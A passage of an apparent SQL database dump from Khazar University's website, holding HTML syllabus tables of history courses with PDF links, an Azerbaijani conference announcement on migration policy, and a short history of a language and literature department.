</td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Nesiman%20Yaqublu-Azerbaycan%20tarixi-2.pdf\">Azərbaycan tarixi-3</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;</strong><strong>345</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Habil%20Memmedov%20-%20X%C9%99z%C9%99r%20%20Asiya%20ve%20Afrika%201.pdf\">Asiya və Afrika ölkələrinin orta əsrlər tarixi</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 401</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Araz%20aslanli%20-%20Avropa%20%C3%B6lk%C9%99l%C9%99rinin%20v%C9%99%20Amerika%20m%C3%BCasir%20tarixi.pdf\">Avropa ölkələrinin və Amerika müasir tarixi</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;431</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ruxsare%20Quliyeva%20-menbesunasliq%20ve%20tarixsunasliq%20Last%20edition%20(1).pdf\">Mənbəşünaslıq və tarixşünaslıq</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 278</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Telman%20Quliyev%20-Qafqaz%20tarixi%20m%C3%BCfredat%20(1).pdf\">Qafqaz xalqları tarixi</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 321</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Sayad%20Mehtizade%20-%20Avropanin%20orta%20esrler%20tarixi%202018.pdf\">Avropa ölkələrinin orta əsrlər tarixi</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 107</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20komekci%20tarixi%20fenn.pdf\">Köməkçi tarixi fənnlər</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 101</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20Arxeologiya.pdf\">Arxeologiya</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 395</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziya%20Samedli%20-%20TXT-%20sillabus..pdf\">Türk xalqları tarixi</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Roza%20Arazova%20-Azerbaycan%20tarix(rus).pdf\">Azərbaycan tarixi (rus)</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Bayram%20Quliyev%20-%20Sillabus.pdf\">Azərbaycan tarixi (eng)</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziyad%20Emrahov-Azerbaycan%20tarixi.pdf\">Azərbaycan tarixi</a> </strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 395</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziyad%20Emrahov-Turk%20xalqlari.pdf\">Türk xalqları tarixi</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Zehra%20Islamova%20-%20%20Azerbaycan%20tarixi%20(A).pdf\">Azərbaycan tarixi (A)</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Zehra%20Islamova%20-Azerbaycan%20tarixi%20(C).pdf\">Azərbaycan tarixi (C)</a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Sabuhi%20Ahmadov-%20Azerbaycan%20tarixi.pdf\">Azərbaycan tarixi </a></strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ulviyye%20Ibrahimli%20-%20Az%20tarixi.pdf\">Azərbaycan tarixi</a> </strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Xaqan%20Balayev%20-%20Azerbaycan%20tarixi.pdf\">Azərbaycan tarixi</a> </strong></p>\r\n  </td>\r\n  <td style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n</div>  </em></strong></h2>\r\n<br><br>\r\n<em>&nbsp;</em>'),(3199,1887,'az','Xəzər Universitetində Dövlət Miqrasiya Xidmətinin 10 illiyinə həsr olunan elmi-praktik konfrans keçiriləcək','Azərbaycan Respublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı ilə 2017-ci il fevralın 17-də ...','<p>Azərbaycan\r\nRespublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı\r\nilə 2017-ci il fevralın 17-də saat 10:00-da universitetin Neftçilər kampusunun\r\n(Məhsəti küçəsi, 41, “Neftçilər” metro stansiyası) Mərmər salonunda Dövlət\r\nMiqrasiya Xidmətinin 10 illiyi münasibətilə “Azərbaycanda miqrasiya siyasəti:\r\nnailiyyətlər və inkişaf perspektivləri” mövzusunda elmi-praktik konfrans keçiriləcək.\r\nMaraqlananlar dəvət olunurlar.</p>'),(1908,1170,'en','History','History','<p>The Department of Azerbaijani Language and Literature was established in May 1995 and currently offers undergraduate and graduate degrees in Azerbaijani Language and Azerbaijani Literature and specific courses in these two fields for students from various schools at the Khazar University.</p><p>In 2006, an undergraduate degree program in Azerbaijani Language and Literature was offered, followed in 2009 by a new undergraduate degree program in Azerbaijani Language and Literature Education.</p>'),(381,235,'en','Syllabus','Syllabus','<h2 style=\"text-align:center\"><strong><em>History\r\nand Archaeology Department&nbsp;</em></strong></h2><h2 style=\"text-align:center\"><strong><em>2018 Fall</em></strong></h2><h4 style=\"text-align:center\"><strong><h2 style=\"text-align:center\"><em>Syllabus  &nbsp;</em></h2><table cellspacing=\"0\" cellpadding=\"0\"><tbody></tbody></table><div>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"background-color:#ff0066\">\r\n <tbody><tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"text-align: center;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"text-align: center;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>&nbsp;Subject</strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"text-align: center;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>&nbsp; Ku</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;303</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ulviyye%20Ibrahimli-%20Az%20tarixi-1.pdf\">History of Azerbaijan-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;203</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20qedim%20serq%20%20tarixi.pdf\">Civiliation-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><span style=\"background-color:#ff0066\">HIST&nbsp;39</span>4</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Telman%20Quliyev%20-Turk%20xalqlari%20tarixi%20m%C3%BCfr%C9%99dat.pdf\">History&nbsp;of Turkish people-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;305</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Nesiman%20Yaqublu%20-%20Azerbaycan%20tarixi-3.pdf\">History of Azerbaijan-3</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;</strong><strong>345</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Habil%20Memmedov%20-%20X%C9%99z%C9%99r%20%20Asiya%20ve%20Afrika%201.pdf\">Med&nbsp;East</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 401</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Araz%20aslanli%20-%20Avropa%20%C3%B6lk%C9%99l%C9%99rinin%20v%C9%99%20Amerika%20m%C3%BCasir%20tarixi.pdf\">Mod&nbsp;Europe</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;431</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ruxsare%20Quliyeva%20-menbesunasliq%20ve%20tarixsunasliq%20Last%20edition%20(1).pdf\">Primary Source</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 278</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Telman%20Quliyev%20-Qafqaz%20tarixi%20m%C3%BCfredat%20(1).pdf\">Hist of Cauc peop</a></strong></p>\r\n  </td>\r\n  <td width=\"125\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 321</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Sayad%20Mehtizade%20-%20Avropanin%20orta%20esrler%20tarixi%202018.pdf\">Med Europe</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 107</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20komekci%20tarixi%20fenn.pdf\">Subsid.subj</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 101</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20Arxeologiya.pdf\">Archeology</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 395</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziya%20Samedli%20-%20TXT-%20sillabus..pdf\">History&nbsp;of Turkish people</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Roza%20Arazova%20-Azerbaycan%20tarix(rus).pdf\">History of Azerbaijan (rus)</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Bayram%20Quliyev%20-%20Sillabus.pdf\">History of Azerbaijan (eng)</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziyad%20Emrahov-Azerbaycan%20tarixi.pdf\">History of Azerbaijan (B)</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST 395</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziyad%20Emrahov-Turk%20xalqlari.pdf\">History&nbsp;of Turkish people</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Zehra%20Islamova%20-%20%20Azerbaycan%20tarixi%20(A).pdf\">History of Azerbaijan (A)</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" 